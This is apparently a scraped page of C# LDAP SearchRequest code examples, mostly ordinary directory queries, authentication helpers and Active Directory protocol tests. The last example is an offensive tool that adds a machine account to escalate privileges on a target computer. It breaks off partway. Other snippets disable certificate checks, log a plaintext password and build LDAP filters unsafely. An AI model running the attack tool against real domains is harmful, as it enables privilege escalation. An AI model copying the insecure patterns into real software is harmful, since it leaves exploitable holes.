/// <summary>
        /// This method is to help enable the compound identity feature on the computer account in the specific domain.
        /// </summary>
        /// <param name="domainName">The domain name of the service principal.</param>
        /// <param name="computerName">The host name of the service principal.</param>
        /// <param name="adminName">Need administrator's credential to modify active directory account.</param>
        /// <param name="adminPwd">Need administrator's credential to modify active directory account.</param>
        public void enableCompId(string domainName, string computerName, string adminName, string adminPwd)
        {
            LdapConnection connection = new LdapConnection(domainName);
            NetworkCredential cred = new NetworkCredential(adminName, adminPwd, domainName);
            connection.Credential = cred;
            string dn = PacHelper.GetDomainDnFromDomainName(domainName);
            string targetOu = "cn=Computers," + dn;
            computerName = computerName.Replace("$", "");
            string filter = "cn=" + computerName;
            string[] attributesToReturn = new string[] { "msDS-SupportedEncryptionTypes" };
            SearchRequest searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, attributesToReturn);

            SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
            SearchResultAttributeCollection attributes = searchResponse.Entries[0].Attributes;

            object attributeValue = null;
            attributeValue = PacHelper.getAttributeValue(attributes, "msDS-SupportedEncryptionTypes");
            uint? supportedEncTypes = (uint?)Convert.ToInt32(attributeValue);

            uint compIdFlag = 131072;
            if ((supportedEncTypes.Value & compIdFlag) != compIdFlag)
            {
                string computerDN = filter + "," + targetOu;
                supportedEncTypes = supportedEncTypes + compIdFlag;
                ModifyRequest modRequest = new ModifyRequest(computerDN, DirectoryAttributeOperation.Replace, "msDS-SupportedEncryptionTypes", supportedEncTypes.ToString());
                ModifyResponse modResponse = (ModifyResponse)connection.SendRequest(modRequest);
            }
        }
Example #2
0
        public void Register(string dn, string filter, System.DirectoryServices.Protocols.SearchScope scope)
        {
            SearchRequest request = new SearchRequest(
                dn, //root the search here
                filter, //very inclusive
                scope, //any scope works
                null //we are interested in all attributes
                );

            //register our search
            request.Controls.Add(new DirectoryNotificationControl());

            //we will send this async and register our callback
            //note how we would like to have partial results
            IAsyncResult result = _connection.BeginSendRequest(
                request,
                TimeSpan.FromDays(1), //set timeout to a day...
                PartialResultProcessing.ReturnPartialResultsAndNotifyCallback,
                Notify,
                request
                );

            //store the hash for disposal later
            _results.Add(result);
        }
        /// <summary>
        /// This method is used to get attribute display name of an account
        /// </summary>
        /// <param name="domainName">Local domain Name</param>
        /// <param name="accountName">Account name, user name or computer name</param>
        /// <param name="accountType">Users or computers</param>
        /// <param name="attributename">The attribute of account to query</param>
        /// <param name="adminName">Admin user Name</param>
        /// <param name="adminPwd">Admin password</param>
        public string getAccountAttributeDN(string domainName, string accountName, string accountType, string attributeName, string adminName, string adminPwd)
        {
            LdapConnection connection = new LdapConnection(domainName);
            NetworkCredential cred = new NetworkCredential(adminName, adminPwd, domainName);
            connection.Credential = cred;
            string dn = PacHelper.GetDomainDnFromDomainName(domainName);
            string targetOu = "CN=" + accountName + ",CN=" + accountType + ",DC=" + domainName + ",DC=com";

            string filter = "CN=" + accountName;
            string[] attributesToReturn = new string[] { attributeName };

            SearchRequest searchRequest = null;
            SearchResponse searchResponse = null;
            string attributeValue = null;

            try
            {
                searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, attributesToReturn);

                searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
                SearchResultAttributeCollection attributes = searchResponse.Entries[0].Attributes;
                object attribute = null;
                attribute = PacHelper.getAttributeValue(attributes, attributeName);
                attributeValue = Convert.ToString(attribute);

            }
            catch
            {
                throw new InvalidOperationException("Request attribute failed with targetOU: " + targetOu + ", filter: " + filter + ", attribute: " + attributeName);
            }

            return attributeValue;
        }
        public static SearchResponse GetSearchResponse(string searchFilter, string searchBase, int sizeLimit = 500)
        {
            //Establishing a Connection to the LDAP Server
            //var ldapident = new LdapDirectoryIdentifier(STR_LDAPURL, STR_LDAPPort);
            var ldapident = new LdapDirectoryIdentifier(STR_LDAPOLD, STR_LDAPPort);
            //LdapConnection lc = new LdapConnection(ldapident, null, AuthType.Basic);
            using (var lc = new LdapConnection(ldapident, new NetworkCredential(LDAPUser, LDAPPassword), AuthType.Basic))
            {
                lc.SessionOptions.ProtocolVersion = 3;
                lc.SessionOptions.SecureSocketLayer = true;
                lc.SessionOptions.VerifyServerCertificate = (connection, certificate) => true;
                lc.Bind();

                //Configure the Search Request to Query the UCD OpenLDAP Server's People Search Base for a Specific User ID or Mail ID and Return the Requested Attributes
                var attributesToReturn = new string[]
                                         {
                                             STR_UID, STR_EmployeeNumber, STR_Mail, STR_Telephone, STR_DisplayName, STR_CN,
                                             STR_SN, STR_GivenName, STR_PIDM
                                         };

                var sRequest = new SearchRequest(searchBase, searchFilter, SearchScope.Subtree, attributesToReturn) { SizeLimit = sizeLimit };

                //Send the Request and Load the Response
                var sResponse = (SearchResponse)lc.SendRequest(sRequest);

                return sResponse;
            }
        }
Example #5
0
 private void BeginPollDirectory()
 {
     SearchRequest request = new SearchRequest(_dnSearchRoot,
         _ldapFilter, SearchScope.Subtree, _attrsToWatch);
     request.Controls.Add(new DirSyncRequestControl(cookie,
         _dirSyncOptions));
     _connection.BeginSendRequest(request, requestTimeout,
         PartialResultProcessing.NoPartialResultSupport,
         EndPollDirectory, null);
 }
        public void LDAP_Search_ConstructedAttributes_isUserCachableAtRodc()
        {
            if (string.IsNullOrWhiteSpace(AD_LDAPModelAdapter.Instance(Site).RODCNetbiosName))
            {
                BaseTestSite.Assert.Fail("Test case requires a RODC but \"RODCName\" ptfconfig property value is invalid");
            }

            #region variables

            string RODCName = AD_LDAPModelAdapter.Instance(Site).RODCNetbiosName;
            string RODCDN   = "CN=" + RODCName + ",OU=Domain Controllers," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC;
            //Let D be the DN of the user principal specified using LDAP Control LDAP_SERVER_DN_INPUT_OID.
            //If the DN of a security principal is not explicitly specified, D is the DN of the current requester.
            string userName   = AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName;
            string userDN     = "CN=" + userName + ",CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC;
            bool   isCachable = false;

            #endregion

            #region connect

            BaseTestSite.Assume.IsTrue(EnvironmentConfig.ServerVer >= ServerVersion.Win2012, "Server OS version should be not less than Windows Server 2012");
            LdapConnection con = new LdapConnection(new LdapDirectoryIdentifier(AD_LDAPModelAdapter.Instance(Site).PDCIPAddress),
                                                    new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName,
                                                                          AD_LDAPModelAdapter.Instance(Site).DomainUserPassword,
                                                                          AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName));
            con.SessionOptions.Sealing = false;
            con.SessionOptions.Signing = false;

            #endregion

            #region search with LDAP_SERVER_DN_INPUT_OID

            System.DirectoryServices.Protocols.SearchRequest searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                RODCDN,
                "(objectClass=computer)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                "msDS-isUserCachableAtRodc");
            //Let D be the DN of the user principal specified using LDAP Control LDAP_SERVER_DN_INPUT_OID.
            //If the DN of a security principal is not explicitly specified, D is the DN of the current requester.
            System.DirectoryServices.Protocols.SearchResponse searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            DirectoryAttribute attr   = searchRep.Entries[0].Attributes["msDS-isUserCachableAtRodc"];
            object[]           values = attr.GetValues(Type.GetType("System.String"));
            isCachable = Convert.ToBoolean(Convert.ToInt16(values[0].ToString(), CultureInfo.InvariantCulture));

            //Get expected result by GetRevealSecretsPolicyForUser(TO!distinguishedName, D) defined in MS-DRSR section 4.1.10.5.14
            bool expectedCachable = GetRevealSecretsPolicyForUser(RODCDN, userDN);

            BaseTestSite.Assert.AreEqual(
                expectedCachable,
                isCachable,
                @"TO!msDS-IsUserCachableAtRodc = GetRevealSecretsPolicyForUser(TO!distinguishedName, D) (procedure GetRevealSecretsPolicyForUser is defined in [MS-DRSR] section 4.1.10.5.14).");

            #endregion
        }
Example #7
0
        public Crl Download(OcesEnvironment environment, string ldapPath)
        {
            using (var connection = LdapFactory.CreateLdapConnection(environment))
            {
                var request = new SearchRequest(ldapPath, (string)null, SearchScope.Base, new[] { LdapFactory.CertificateRevocationListBinary});
                var response = (SearchResponse) connection.SendRequest(request);
                var bytes = (byte[])response.Entries[0].Attributes[LdapFactory.CertificateRevocationListBinary][0];

                return new Crl(bytes);
            }
        }
        public object Search(string serverAddresses, Authentication authentication, bool isAutoBind, int timeout, string distinguishedName, string filter, string scope)
        {
            if (this.EnableTracing)
            {
                TracingHelper.Trace(new object[] { serverAddresses, authentication, isAutoBind, timeout, distinguishedName, filter, scope }, this.TraceSourceName);
            }

            object returnValue = null;

            LdapConnection connection = this.getLdapConnection(serverAddresses, authentication, isAutoBind, timeout);

            if (connection != null)
            {
                System.DirectoryServices.Protocols.SearchRequest request = new System.DirectoryServices.Protocols.SearchRequest();
                request.DistinguishedName = distinguishedName;
                request.Scope             = this.getSearchScope(scope);
                request.Filter            = filter;

                if (this.EnableTracing)
                {
                    TracingHelper.Trace(new object[] { connection, request }, this.TraceSourceName);
                }

                returnValue = (connection as System.DirectoryServices.Protocols.LdapConnection).SendRequest(request);

                if (this.EnableTracing)
                {
                    TracingHelper.Trace(new object[] { returnValue }, this.TraceSourceName);
                }

                if ((returnValue != null) && (returnValue is System.DirectoryServices.Protocols.SearchResponse))
                {
                    string responseXml = this.getSearchResponseDSML(returnValue as System.DirectoryServices.Protocols.SearchResponse);

                    if (this.EnableTracing)
                    {
                        TracingHelper.Trace(new object[] { responseXml }, this.TraceSourceName);
                    }

                    if (!String.IsNullOrEmpty(responseXml))
                    {
                        returnValue = new XmlDocument();
                        (returnValue as XmlDocument).LoadXml(responseXml);
                    }
                }
            }

            if (this.EnableTracing)
            {
                TracingHelper.Trace(new object[] { returnValue }, this.TraceSourceName);
            }

            return(returnValue);
        }
Example #9
0
        static void Main(string[] args)
        {
            // LdapTest <address> <domain> [<username> <password> [<domain>]]
              //              0        1          2          3           4
              var directory = new LdapDirectoryIdentifier(args[0]);
              var credential = args.Length > 4 ? new NetworkCredential(args[2], args[3], args[4])
            : args.Length > 2 ? new NetworkCredential(args[2], args[3])
            : new NetworkCredential();

              using (var connection = new LdapConnection(directory, credential))
              {
            //while (true)
            {
              var request = new SearchRequest(
            "DC=" + args[1].Replace(".", ",DC="),
            "(&(objectClass=organizationalPerson)(sAMAccountType=805306368))",
            System.DirectoryServices.Protocols.SearchScope.Subtree,
            new[] { "cn" }
              );

              try
              {
            var t = Stopwatch.StartNew();

            PageResultRequestControl pageRequestControl = new PageResultRequestControl(1000);

            // used to retrieve the cookie to send for the subsequent request
            PageResultResponseControl pageResponseControl;
            request.Controls.Add(pageRequestControl);

            while (true)
            {
              var response = (SearchResponse)connection.SendRequest(request);
              pageResponseControl = (PageResultResponseControl)response.Controls[0];
              if (pageResponseControl.Cookie.Length == 0)
                break;
              pageRequestControl.Cookie = pageResponseControl.Cookie;
              Console.WriteLine("{0}\t{1} entries: {2} - {3} in {4:F1}", DateTime.Now, response.Entries.Count,
                AttributeOf(response.Entries[0], "cn"),
                AttributeOf(response.Entries[response.Entries.Count - 1], "cn"),
                t.Elapsed.TotalSeconds
              );
            }
            t.Stop();
              }
              catch (Exception ex)
              {
            Console.WriteLine("{0}\tERRROR - {1}", DateTime.Now, ex.Message);
              }
              //Thread.Sleep(TimeSpan.FromSeconds(30));
            }
              }
        }
Example #10
0
        public bool IsAuthenticated(string username, string pwd)
        {
            ILog log = LogManager.GetLogger(GetType());
            try
            {
                log.InfoFormat("连接Ldap服务器,server是{0}", Server);
                var connection = new LdapConnection(Server)
                                     {
                                         AuthType = AuthType.Basic
                                     };
                connection.SessionOptions.ProtocolVersion = 3;

                if (!AnonymousLogin)
                {
                    log.InfoFormat("使用Credential账户是{0},密码是{1}", CredentialUserName, CredentialPassword);
                    connection.Credential = new NetworkCredential(CredentialUserName, CredentialPassword ?? "");
                }

                if (IsSsl)
                {
                    log.Info("使用SSL连接");
                    connection.SessionOptions.SecureSocketLayer = true;
                }
                
                log.DebugFormat("创建SearchRequest,distinguishedName是{0},filter是{1}", SearchUserPath, "uid=" + username);
                var searchRequestion = new SearchRequest(SearchUserPath, "uid=" + username, SearchScope.Subtree);

                var searchResult = (SearchResponse)connection.SendRequest(searchRequestion, new TimeSpan(0, 0, 0, 30));
                if (searchResult.Entries.Count == 0)
                {
                    log.InfoFormat("无法通过找到用户.distinguishedName是{0},filter是{1}", SearchUserPath, "uid=" + username);
                    return false;
                }
                SearchResultEntry entry = searchResult.Entries[0];
                string dn = entry.DistinguishedName;
                log.InfoFormat("DN是{0}", dn);

                connection.Credential = new NetworkCredential(dn, pwd);


                connection.Bind();
                return true;
            }
            catch (Exception ex)
            {
                log.Error(ex.Message, ex);
                return false;
            }
        }
Example #11
0
        /// <summary>
        /// read msDS-ClaimValueType of a claim from DC
        /// </summary>
        /// <param name="dn">Distinguished Name of claim</param>
        /// <param name="server">DC name or address</param>
        /// <returns>CLAIM_TYPE</returns>
        CLAIM_TYPE getClaimValueType(string dn, string server)
        {
            using (System.DirectoryServices.Protocols.LdapConnection con = new System.DirectoryServices.Protocols.LdapConnection(server))
            {
                System.DirectoryServices.Protocols.SearchRequest req = new System.DirectoryServices.Protocols.SearchRequest(
                    dn,
                    "(objectclass=*)",
                    System.DirectoryServices.Protocols.SearchScope.Base,
                    new string[] { ConstValue.msDSClaimValueType });

                System.DirectoryServices.Protocols.SearchResponse res = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(req);

                object o = res.Entries[0].Attributes[ConstValue.msDSClaimValueType][0];

                return((CLAIM_TYPE)Enum.Parse(typeof(CLAIM_TYPE), o.ToString()));
            }
        }
Example #12
0
        public void SamrDeleteUser_WithChildObject()
        {
            ConnectAndOpenDomain(_samrProtocolAdapter.pdcFqdn, _samrProtocolAdapter.PrimaryDomainDnsName, out _serverHandle, out _domainHandle);

            LdapConnection con = new LdapConnection(
                new LdapDirectoryIdentifier(_samrProtocolAdapter.PDCIPAddress, int.Parse(_samrProtocolAdapter.ADDSPortNum)),
                new NetworkCredential(_samrProtocolAdapter.DomainAdministratorName,
                                      _samrProtocolAdapter.DomainUserPassword, _samrProtocolAdapter.PrimaryDomainDnsName));

            con.SessionOptions.Sealing = false;
            con.SessionOptions.Signing = false;
            string treeRootDN = "CN=testRootDN," + _samrProtocolAdapter.primaryDomainUserContainerDN;
            string treeEntry1 = "CN=testEntry1," + treeRootDN;

            try
            {
                Site.Log.Add(LogEntryKind.TestStep, "Add test user with child object.");
                ManagedAddRequest add = new ManagedAddRequest(treeRootDN, "user");
                System.DirectoryServices.Protocols.AddResponse response = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(add);
                add      = new ManagedAddRequest(treeEntry1, "classStore");
                response = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(add);

                System.DirectoryServices.Protocols.SearchRequest  searchreq  = new System.DirectoryServices.Protocols.SearchRequest(treeRootDN, "(ObjectClass=*)", System.DirectoryServices.Protocols.SearchScope.Base);
                System.DirectoryServices.Protocols.SearchResponse searchresp = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchreq);

                byte[]             values   = (byte[])searchresp.Entries[0].Attributes["objectSid"].GetValues(Type.GetType("System.Byte[]"))[0];
                SecurityIdentifier Sid      = new SecurityIdentifier(values, 0);
                string[]           sidArray = Sid.ToString().Split('-');
                string             rid      = sidArray[sidArray.Length - 1];
                Site.Log.Add(LogEntryKind.TestStep, "SamrOpenUser: obtain the handle to the created user.");
                HRESULT result = _samrProtocolAdapter.SamrOpenUser(_domainHandle, (uint)User_ACCESS_MASK.USER_ALL_ACCESS, uint.Parse(rid), out _userHandle);


                Site.Log.Add(LogEntryKind.TestStep, "SamrDeleteUser: delete the created user.");
                result = _samrProtocolAdapter.SamrDeleteUser(ref _userHandle);
                Site.Assert.AreNotEqual(HRESULT.STATUS_SUCCESS, result, "3.1.5.7.3 In the DC configuration, if U is a parent to another object, an error MUST be returned.");
            }
            finally
            {
                System.DirectoryServices.Protocols.DeleteRequest     delreq      = new System.DirectoryServices.Protocols.DeleteRequest(treeRootDN);
                System.DirectoryServices.Protocols.TreeDeleteControl treeDelCtrl = new TreeDeleteControl();
                delreq.Controls.Add(treeDelCtrl);
                System.DirectoryServices.Protocols.DeleteResponse delresp = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delreq);
            }
        }
Example #13
0
        /// <summary>
        /// Autentica a un usuario contra openLDAP y verifica su membresia en alguno de los grupos
        /// </summary>
        /// <param name="nombreUsuario">Nombre de usuario</param>
        /// <param name="password">Contraseña del usuario</param>
        /// <returns>El grupo al que pertenece el usuario o null en caso que no esté registrado.</returns>
        public GrupoLDAP autenticarUsuario(string nombreUsuario, string password)
        {
            // Valida usuario y contraseña correctos
            LdapDirectoryIdentifier serverInfo = new LdapDirectoryIdentifier(Constantes.LDAP_SERVER);
            LdapConnection openLdap = new LdapConnection(Constantes.LDAP_SERVER);
            openLdap.Credential = new System.Net.NetworkCredential("uid=" + nombreUsuario + ",ou=people,dc=ic-itcr,dc=ac,dc=cr", password);
            openLdap.AuthType = AuthType.Basic;
            openLdap.SessionOptions.ProtocolVersion = 3;
            try
            {
                openLdap.Bind();
            }
            catch (Exception e)
            {
                openLdap.Dispose();
                _conexionBD = new ManejoBD();
                _conexionBD.insertarBitacoraError(e.ToString(), "");
                return null;
            }

            // Buscar grupo al que pertenezca el usuario
            foreach (GrupoLDAP grupo in _listadaGrupos.obtenerGruposLDAP())
            {
                SearchRequest searchRequest = new SearchRequest("cn=" + grupo.NombreGrupo + ",ou=group,dc=ic-itcr,dc=ac,dc=cr", "(memberUid=" + nombreUsuario + ")", System.DirectoryServices.Protocols.SearchScope.Subtree);
                try
                {
                    SearchResponse searchResponse = (SearchResponse)openLdap.SendRequest(searchRequest);
                    if (searchResponse.Entries.Count != 0)
                    {
                        openLdap.Dispose();
                        return grupo;
                    }
                }
                catch (Exception e)// En caso que algún grupo registrado en ListadoGruposLDAP.getGroupList() no exista.
                {
                    _conexionBD = new ManejoBD();
                    _conexionBD.insertarBitacoraError(e.ToString(), "Algún grupo registrado en ListadoGruposLDAP.getGroupList() no existe.");
                    continue;
                }
            }
            openLdap.Dispose();
            return null;
        }
Example #14
0
 /// <summary>
 /// Gets the Common Name (CN) of the Login information of the LDAP Directory.
 /// </summary>
 /// <remarks>The CN is an unique identity and cannot be changed or edited in LDAP.</remarks>
 /// <param name="userToken">The lookup key.</param>
 /// <returns>The Common Name (CN) string.</returns>
 public string GetPassword(string userToken)
 {
     using (var ldapConnection = GetConnection())
     {
         var searchRequest = new SearchRequest(connection.DistinguishedName, string.Format("(cn={0})", userToken), SearchScope.OneLevel, "*");
         var searchResponse = ldapConnection.SendRequest(request: searchRequest) as SearchResponse;
         foreach (SearchResultEntry entry in searchResponse.Entries)
         {
             foreach (var attributeName in entry.Attributes.AttributeNames)
             {
                 if (string.Compare(attributeName.ToString(), "userPassword", true) == 0)
                 {
                     return entry.Attributes["userPassword"].GetValues(typeof(string)).First() as string;
                 }
             }
         }
         return null;
     }
 }
Example #15
0
        public LdapUserModel ValidateUsernameAndPassword(string username, string password)
        {
            var ldapServer = Configuration.Server;
            var baseDn = Configuration.BaseDn;

            try
            {
                LdapConnection connection = new LdapConnection(ldapServer);
                connection.SessionOptions.SecureSocketLayer = true;
                connection.SessionOptions.VerifyServerCertificate = (ldapConnection, certificate) => true;
                connection.AuthType = AuthType.Negotiate;

                NetworkCredential credential = new NetworkCredential(username, password);
                connection.Credential = credential;
                connection.Bind();

                string filter = string.Format(CultureInfo.InvariantCulture, "(&(objectClass=user)(objectCategory=user) (sAMAccountName={0}))", LdapEncode(username));
                var attributes = new[] { "sAMAccountName", "displayName", "mail" };
                SearchRequest searchRequest = new SearchRequest(baseDn, filter, SearchScope.Subtree, attributes);

                var searchResponse = (SearchResponse)connection.SendRequest(searchRequest);

                if (searchResponse?.ResultCode == ResultCode.Success)
                {
                    var entry = searchResponse.Entries[0];
                    var model = new LdapUserModel
                    {
                        Identity = GetStringValue(entry, "sAMAccountName"),
                        Email = GetStringValue(entry, "mail"),
                        Username = GetStringValue(entry, "sAMAccountName"),
                    };

                    return model;
                }
            }
            catch (Exception)
            {
                return null;
            }

            return null;
        }
Example #16
0
        private static RangeResult GetRangeBlock(LdapConnection conn, string entryDn, string attrName, int start, int? end, bool extendedDns)
        {
            SearchRequest req = new SearchRequest();
            req.DistinguishedName = entryDn;
            req.Scope = SearchScope.Base;
            req.Filter = "(&(objectClass=*))";
            req.Attributes.Add(attrName + ";range=" + start + "-" + (end == null ? "*" : end.ToString()));

            if (extendedDns)
                req.Controls.Add(new ExtendedDNControl(ExtendedDNFlag.StandardString));

            SearchResponse resp = (SearchResponse)conn.SendRequest(req);
            if (resp.Entries.Count == 0)
                return null;

            SearchResultEntry e = resp.Entries[0];

            foreach (string s in e.Attributes.AttributeNames)
                if (s.StartsWith(attrName, StringComparison.InvariantCultureIgnoreCase))
                {
                    RangeResult res = new RangeResult();
                    DirectoryAttribute attr = e.Attributes[s];

                    res.Values = (string[])attr.GetValues(typeof(string));

                    if (s.EndsWith("*"))
                        res.IsFinal = true;

                    int pos = s.IndexOf('=');
                    int hyp = s.IndexOf('-', pos + 1);

                    res.Start = int.Parse(s.Substring(pos + 1, hyp - pos - 1));

                    if (!res.IsFinal)
                        res.End = int.Parse(s.Substring(hyp + 1));

                    return res;
                }

            return null;
        }
Example #17
0
        public static UsuarioLDAP getUserByUID(string uid)
        {
            UsuarioLDAP usuario = new UsuarioLDAP();

            try
            {
                LdapConnection connection = GetConnection();

                NetworkCredential credential =
                    new NetworkCredential(ConfigurationManager.AppSettings["usernameLDAP"].ToString(), ConfigurationManager.AppSettings["passwordLDAP"].ToString());

                connection.Credential = credential;

                connection.Bind();

                string targetOu = ConfigurationManager.AppSettings["targetOU"].ToString();
                string ldapSearchFilter = String.Format("(uid={0})", uid);
                string[] attributesToReturn = new string[] { "cn", "mail", "emplid" };
                SearchRequest searchRequest = new SearchRequest(targetOu, ldapSearchFilter, System.DirectoryServices.Protocols.SearchScope.OneLevel, attributesToReturn);

                SearchResponse searchResponse =
                            (SearchResponse)connection.SendRequest(searchRequest);

                foreach (SearchResultEntry entry in searchResponse.Entries)
                {
                    usuario.CN = entry.Attributes["cn"][0].ToString();
                    usuario.MAIL = entry.Attributes["mail"][0].ToString();
                    usuario.EMPLID = entry.Attributes["emplid"][0].ToString();
                }

                //usuario.MAIL = "*****@*****.**";

                return usuario;

            }
            catch (Exception)
            {
                return usuario;
            }
        }
        /// <summary>
        /// Performs a search in the LDAP server. This method is generic in its return value to show the power
        /// of searches. A less generic search method could be implemented to only search for users, for instance.
        /// </summary>
        /// <param name="baseDn">The distinguished name of the base node at which to start the search</param>
        /// <param name="ldapFilter">An LDAP filter as defined by RFC4515</param>
        /// <returns>A flat list of dictionaries which in turn include attributes and the distinguished name (DN)</returns>
        public List<Dictionary<string, string>> search(string baseDn, string ldapFilter)
        {
            var request = new SearchRequest(baseDn, ldapFilter, SearchScope.Subtree, null);
            var response = (SearchResponse)connection.SendRequest(request);

            var result = new List<Dictionary<string, string>>();

            foreach(SearchResultEntry entry in response.Entries)
            {
                var dic = new Dictionary<string, string>();
                dic["DN"] = entry.DistinguishedName;

                foreach (string attrName in entry.Attributes.AttributeNames)
                {
                    //For simplicity, we ignore multi-value attributes
                    dic[attrName] = string.Join(",", entry.Attributes[attrName].GetValues(typeof(string)));
                }

                result.Add(dic);
            }

            return result;
        }
Example #19
0
        protected virtual SearchResponse GetSearchResponse(string key, SearchRequest req)
        {
            logger.Debug("Dispatch search to DSA: {0}", key);

            var async = this.Connection.BeginSendRequest(
                req,
                PartialResultProcessing.NoPartialResultSupport,
                null,
                null);

            int finishedFirst = WaitHandle.WaitAny(new WaitHandle[] { _abortHandle, async.AsyncWaitHandle });

            logger.Debug("GetSearchResponse: whnd = {0}", finishedFirst);

            if (finishedFirst == 0)
            {
                this.Connection.Abort(async);
                return null;
            }

            SearchResponse resp = null;

            try
            {
                resp = (SearchResponse)this.Connection.EndSendRequest(async);

                this.OnSearchResponse(key, resp);
            }
            catch (DirectoryOperationException doe)
            {
                resp = ExtractResponseFromException(doe);

                this.OnTruncatedSearchResponse(key, resp);
            }

            return resp;
        }
Example #20
0
 /// <summary>
 ///  Finds and returns the user's returned groups. 
 /// </summary>
 /// <param name="userToken">The Common Name (CN).</param>
 /// <returns>Collection of user groups associated with user.</returns>
 public IList<string> GetGroups(string userToken)
 {
     var groups = new List<string>();
     using (var ldapConnection = GetConnection())
     {
         var searchRequest = new SearchRequest(connection.DistinguishedName, string.Format("(objectClass=GroupOfNames)"), SearchScope.OneLevel, "*");
         var searchResponse = ldapConnection.SendRequest(request: searchRequest) as SearchResponse;
         foreach (SearchResultEntry entry in searchResponse.Entries)
         {
             foreach (string attributeName in entry.Attributes.AttributeNames)
             {
                 if (string.Compare(attributeName, "member", true) == 0)
                 {
                     var members = entry.Attributes["member"].GetValues(typeof(string)).First().ToString();
                     if (members.Contains(userToken))
                     {
                         groups.Add(entry.Attributes["cn"].GetValues(typeof(string)).First().ToString());
                     }
                 }
             }
         }
         return groups;
     }
 }
Example #21
0
        static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                Usage();
                return;
            }
            var arguments = new Dictionary <string, string>();

            foreach (string argument in args)
            {
                int idx = argument.IndexOf('=');
                if (idx > 0)
                {
                    arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                }
            }

            if (!arguments.ContainsKey("domain") || !arguments.ContainsKey("dc") || !arguments.ContainsKey("tm"))
            {
                Usage();
                return;
            }
            String DomainController            = arguments["dc"];
            String Domain                      = arguments["domain"];
            String new_MachineAccount          = "";
            String new_MachineAccount_password = "";

            //添加的机器账户
            if (arguments.ContainsKey("ma"))
            {
                new_MachineAccount = arguments["ma"];
            }
            else
            {
                new_MachineAccount = RandomString(8);
            }
            //机器账户密码
            if (arguments.ContainsKey("ma"))
            {
                new_MachineAccount_password = arguments["mp"];
            }
            else
            {
                new_MachineAccount_password = RandomString(10);
            }

            String victimcomputer    = arguments["tm"];; //需要进行提权的机器
            String machine_account   = new_MachineAccount;
            String sam_account       = "";
            String DistinguishedName = "";

            if (machine_account.EndsWith("$"))
            {
                sam_account     = machine_account;
                machine_account = machine_account.Substring(0, machine_account.Length - 1);
            }
            else
            {
                sam_account = machine_account + "$";
            }
            String distinguished_name        = DistinguishedName;
            String victim_distinguished_name = DistinguishedName;

            String[] DC_array = null;

            distinguished_name        = "CN=" + machine_account + ",CN=Computers";
            victim_distinguished_name = "CN=" + victimcomputer + ",CN=Computers";
            DC_array = Domain.Split('.');

            foreach (String DC in DC_array)
            {
                distinguished_name        += ",DC=" + DC;
                victim_distinguished_name += ",DC=" + DC;
            }
            Console.WriteLine(victim_distinguished_name);
            Console.WriteLine("[+] Elevate permissions on " + victimcomputer);
            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
            try{
                //连接ldap
                System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
                //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
                System.DirectoryServices.Protocols.LdapConnection connection = null;
                //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
                connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
                connection.SessionOptions.Sealing = true;
                connection.SessionOptions.Signing = true;
                connection.Bind();
                //通过ldap找计算机
                System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain);
                myldapConnection.Path = "LDAP://" + victim_distinguished_name;
                myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
                System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
                search.Filter = "(CN=" + victimcomputer + ")";
                string[] requiredProperties = new string[] { "samaccountname" };
                foreach (String property in requiredProperties)
                {
                    search.PropertiesToLoad.Add(property);
                }
                System.DirectoryServices.SearchResult result = null;
                try
                {
                    result = search.FindOne();
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting...");
                    return;
                }

                //添加机器并设置资源约束委派
                if (result != null)
                {
                    try
                    {
                        var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                            new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                            new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account)
                        });
                        //添加机器账户
                        connection.SendRequest(request);
                        Console.WriteLine("[+] New SAMAccountName = " + sam_account);
                        Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added");
                    }
                    catch (System.Exception ex)
                    {
                        Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
                        Console.WriteLine("[-] Exception: " + ex.Message);
                        return;
                    }
                    // 获取新计算机对象的SID
